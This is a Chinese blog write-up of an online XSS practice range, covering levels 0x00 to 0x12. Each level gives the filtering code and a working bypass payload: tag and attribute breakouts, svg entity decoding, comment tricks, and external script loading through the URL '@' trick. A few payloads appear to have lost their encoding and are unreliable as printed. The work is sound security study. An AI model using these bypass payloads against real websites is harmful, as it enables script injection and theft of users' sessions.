引言
- 最近打算好好練習一下基礎的技能,所以在閑余之暇,花一點時間做做靶場練習
- 先打算從比較方便的可以在線的練習開始,所以並沒有用最常用的
DVWA
,而就直接用的在線的這個xss
靶場開始 - 此文僅是用來記錄我自己的學習心得,有寫得不好的地方,望大家見諒
靶場地址
0x00-0x05
0x00
服務端代碼:
function render (input) {
return '<div>' + input + '</div>'
}
- 服務端並未有任何過濾,直接使用最常規的
<script>alert(1)</script>
即可完成
0x01
服務端代碼:
function render (input) {
return '<textarea>' + input + '</textarea>'
}
- 服務端仍然沒有進行過濾,只是這次的輸出並不是直接輸出,而是加入在
textarea
中,所以現將其閉合在輸出即可 - 對於
<textarea>
標簽,如果直接在其中寫入html
代碼的話也是不能直接被執行的, 僅僅將其作為普通文本顯示,但當我們現將其進行閉合后,再寫入腳本就可以執行了 - 故最終
payload: </textarea><script>alert(1)</script><textarea>
- 注:
<textarea><script>alert(1)</script></textarea>
這樣直接將script
寫入textarea
中而未先去閉合標簽,只會被當作普通文本處理
0x02
服務端代碼
function render (input) {
return '<input type="name" value="' + input + '">'
}
- 這次可以看到輸出被賦給了
value
,我們要做的也還是要將其先閉合,然后再輸入腳本 "><"<script>alert(1)</script>>
0x03
服務端代碼:
function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}
- 這關開始有了過濾的操作,我們這里就要開始嘗試繞過過濾,先看一下這個正則
/[()]/g
,即全局匹配小括號,而后再將其換成空,所以我們就要想辦法繞過小括號過濾,通過查找資料發現一個叫模板字符串的可以繞過js
的這種過濾 - 故
payload: <script>alert`1`</script>
- 對於所謂的模板字符串即允許嵌入表達式的字符串字面量。可以使用多行字符串和字符串插值功能。
1、模板字符串使用反引號 (``) 來代替普通字符串中的用雙引號和單引號。
2、模板字符串可以包含特定語法(${expression})
的占位符。占位符中的表達式和周圍的文本會一起傳遞給一個默認函數,該函數負責將所有的部分連接起來,如果一個模板字符串由表達式開頭,則該字符串被稱為帶標簽的模板字符串,該表達式通常是一個函數,它會在模板字符串處理后被調用,在輸出最終結果前,你都可以通過該函數來對模板字符串進行操作處理。
3、在模版字符串內使用反引號(`)時,需要在它前面加轉義符(\)。
0x04
服務端代碼:
function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
}
- 這關可以看到他已經了解到我們上一關所使用的繞過方法,所以這里他是將反引號也給一起過濾了,所以我們這里就無法使用像上一關一樣的方法,所以就要尋找新的方法,可使用
<svg>
加html
編碼來繞過 <svg>
標簽中可以直接執行html
實體編碼字符,由於小括號還是被過濾,我們這里只好現將其進行html
編碼后,再讓<svg>
標簽直接執行html
實體編碼字符以實現最終彈窗- 最終
payload:<svg><script>alert(1)</script>
0x05
服務端代碼:
function render (input) {
input = input.replace(/-->/g, '😂')
return '<!-- ' + input + ' -->'
}
- 此關是對於注釋符進行過濾,所以要嘗試對注釋符進行繞過,對於
html
的注釋符有兩種寫法,一種不對稱的<!-- -->
和另一種對稱的<!-- --!>
,所以這里可以使用對稱的注釋符 - 故最終的
payload:--!><script>alert(1)</script>
0x06-0x0A
0x06
服務端代碼:
function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${input} type="text">`
}
- 此關是將所有以
auto
或者on
開頭的且以=
或>
結尾的屬性替換成_
后直接輸出,且匹配是不考慮大小寫 - 這里查到可以使用換行符來繞過,因為
Javascript
通常以分號結尾,如果解析引擎能確定一個語句時完整的,且行尾有換行符,則分號可省略,而如果不是完整的語句,javascript
則會繼續處理,直到語句完整結束或分號
payload: type="image" src="xxx" onerror
="alert(1)"
0x07
服務端代碼:
function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi
input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}
- 此關是對於以
</
開頭后接任意0個或1個非>
字符且以>
結尾的字符串進行過濾,且不考慮大小寫,即過濾了以<>
包裹的標簽 - 由於
html
的容錯性很高,對於標簽不閉合也可以接受(網上說這只是html4
時的無尾標簽特性,而html5
時就將其去除了,不知道為啥這里還能執行成功),這里就直接使用不閉合的語句就能成功彈窗 payload : <img src="xxx" onerror="alert(1)"
0x08
服務端代碼:
function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
<style>
${src}
</style>
`
}
- 把
</style>
標簽過濾了,替換成了/* 壞人 */
的unicode
- 這里可以使用空格、換行、制表符來繞過
payload:
</style
><img src="xxx" onerror="alert(1)"
0x09
服務端代碼:
function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}
- 此關首先是要匹配輸入一個指定的
url
,然后就是嘗試將其閉合即可,所有輸入都是在引號之內的,所以要讓彈窗成功,就要嘗試先閉合引號 - 最終
payload:https://www.segmentfault.com/><""img src="xxx"onerror=alert(1)>
0x0A
服務端代碼:
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
const domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${escapeHtml(input)}"></script>`
}
return 'Invalid URL'
}
- 此關相較於上一關,也是要去輸入一個指定的
url
,不過這次對其中的一些符號進行了編碼,將&,',",<,>,/
換成了其對應的html
編碼 - 原本想看能不能用
svg
先解碼,發現不行,於是看了題解,說可以利用url
的@
特性,引入外部js
- 對於
url
的@
特性,對於www.baidu.com@www.qq.com
他最終訪問的會是QQ
,類似一個跳轉 payload : https://www.segmentfault.com@xss.haozi.me/j.js
,這里使用的網上流傳的答案,使用的是作者自己寫的js
,額,但是不知道為什么沒能彈窗
0x0B-0x0F
0x0B
服務端代碼:
function render (input) {
input = input.toUpperCase()
return `<h1>${input}</h1>`
}
- 此關使用
toUpperCase
函數對於輸入進行了轉成大寫的操作 - 對於大小寫的問題,
html
標簽, 域名 不區分大小寫,path
部分區分大小寫。 - 按照官方的題解還是通過去引用外部的
js
來繞過大小寫的限制,讓evil
服務器返回J.JS
就可以,但是用官方的那個js
仍然出現不能彈窗的情況,官方題解:<script src="https://www.segmentfault.com.haozi.me/j.js"></script>
- 后來看到網上說使用
uniocde
編碼也可以解決繞過大小寫,因為js
解析器在工作時回對unicode
先進行解碼,例如這里會被先解析成alert(1)
從而實現彈窗 html
中unicode
編碼格式:&#編碼的十進制數值,一般的格式還有直接\u
開頭的16
進制四位編碼,一定是四位,否則報錯- 附上
payload:<img src="x" onerror=alert(1)>
0x0C
服務端代碼:
function render (input) {
input = input.replace(/script/ig, '')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
- 此關比上一關對了一層過濾,即將
script
替換為空,且不論大小寫 - 同樣的還是可以使用上一關中官方的題解給的
js
,只不過要繞過script
,可以通過雙寫來繞過<scrscriptipt>
,但是js
還是用不了|(*′口`) - 此外使用
unicode
貌似不能解決了 - 官方
payload: <scscriptript src="https://www.segmentfault.com.haozi.me/j.js"></scscriptript>
0x0D
服務端代碼:
function render (input) {
input = input.replace(/[</"']/g, '')
return `
<script>
// alert('${input}')
</script>
`
}
- 此關是對於輸入的
< / " '
等進行了過濾,將其轉換成空,並且在輸入處進行了單行注釋,這里可以通過使用換行符進行繞過,但換行僅能過單行注釋,代碼還是不能正常運行,這里可使用html
注釋
-->
來注釋后面的js
,使代碼正常運行 - 對於這里使用
html
的注釋符也能閉合js
單行注釋,查了一下,發現說對於那些不支持JavaScript
的瀏覽器會把腳本作為頁面的內容來顯示;為了防止這種情況發生,我們可以使用這樣的HTML
注釋標簽
<!--
document.write("Hello World!");
//-->
- 可以看到這里就是使用了
html
標簽閉合的js
,對於<!--
和-->
都可以在html
的script
標簽里單獨使用進行單行注釋,這里<
被過濾了,所以使用-->
payload:
alert(1)
-->
0x0E
服務端代碼:
function render (input) {
input = input.replace(/<([a-zA-Z])/g, '<_$1')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
- 此關對於所有以
<
開頭的加任意大小寫字符的進行替換為<_
且再將所有小寫字母換成大寫 - 這里參考官方題解后學到了一些騷操作,對於
ſ
古英語中的s
的寫法, 轉成大寫是正常的S
,從而可以繞過<script>
限制,再就還是用外鏈的方式加載外部js
,同樣還是沒能彈窗 - 官方題解:
<ſcript src="https://xss.haozi.me/j.js"></script>
0x0F
服務端代碼:
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
return `<img src onerror="console.error('${escapeHtml(input)}')">`
}
- 此關還是對於輸入的一些符號進行了編碼操作,但對
html inline js
轉義就是做無用功,瀏覽器會先解析html
, 然后再解析js
- 但是由於輸入信息是在
img
標簽內,所以html
實體編碼是可以被直接解析的,所以閉合前面的標簽,在構造語句即可,這里onerror
后面用分號閉合后感覺類型堆疊執行一樣,尚未弄清原理。 payload:');alert('1
0x10-0x12
0x10
服務端代碼:
function render (input) {
return `
<script>
window.data = ${input}
</script>
`
}
- 這關直接將輸入賦給
window.data
,而window
是瀏覽器的窗口,且這里沒有做過濾,所以直接先閉合語句,再賦值alert(1)
,此外直接賦值alert(1)也可以
payload 1: '';alert(1)
payload 2: alert(1)
0x11
服務端代碼:
// from alf.nu
function render (s) {
function escapeJs (s) {
return String(s)
.replace(/\\/g, '\\\\')
.replace(/'/g, '\\\'')
.replace(/"/g, '\\"')
.replace(/`/g, '\\`')
.replace(/</g, '\\74')
.replace(/>/g, '\\76')
.replace(/\//g, '\\/')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\t/g, '\\t')
.replace(/\f/g, '\\f')
.replace(/\v/g, '\\v')
// .replace(/\b/g, '\\b')
.replace(/\0/g, '\\0')
}
s = escapeJs(s)
return `
<script>
var url = 'javascript:console.log("${s}")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>
`
}
- 此關過濾了一堆字符,在其前多加了一個反斜號,這種情況我們就可以利用替換后的字符構造語句。
"
被轉義成\"
正好可以閉合console.log("\")
,而后使用分號閉合語句后就可嘗試構造彈窗語句,然后//
注釋后面的字符- 此外除了用注釋符注釋后面語句,還可以用引號包裹
alert
所要彈出內容讓其與后面引號匹配
payload1 : ");alert(1)//
payload2 : ");alert("1
0x12
服務端代碼:
// from alf.nu
function escape (s) {
s = s.replace(/"/g, '\\"')
return '<script>console.log("' + s + '");</script>'
}
- 首先是將
"
替換為\\"
,在是對於輸入使用單引號包裹 - 這里我們還是可以使用轉義后的語句嘗試閉合和構造語句,先使用一個
"
會發現只是被替換成\"
,此時添進去的引號被沒有起到閉合的作用
- 所以就要再多加一個
\
,使得其變成\\"
這是轉義后的雙引號,他就可以起到閉合的作用了,但此時還未能是括號閉合所以還要寫成\")
才能完成前面語句閉合。
- 閉合好前面語句后,由於這里沒有其他過濾操作了,所以在使用分號分隔兩句之后就可以直接使用語句彈窗
\");alert(1)
- 但是這里會發現在語句的最后還多了一開始的
")
,這里直接注釋掉即可 - 所以最終
payload: \");alert(1)//
小結
- 至此這個靶場所有的
xss
練習就完成了,一共花了大約三個晚上,每晚1小時左右,此次練習對於一些xss
的一些過濾手段有了更深的理解,掌握了不少繞過的技巧,其中遇到的一些姿勢也盡可能的去找了一下其實現原理,做到知其然而知其所以然,對於比較繞的(個人覺得比較難的關卡),也把自己完成的步驟記錄了下來,有解釋的不准確的地方也希望各位小伙伴們能不吝指教 - 好了,這一階段的練習也到此結束,后面再看看在復習之余多多磨練自己的技術。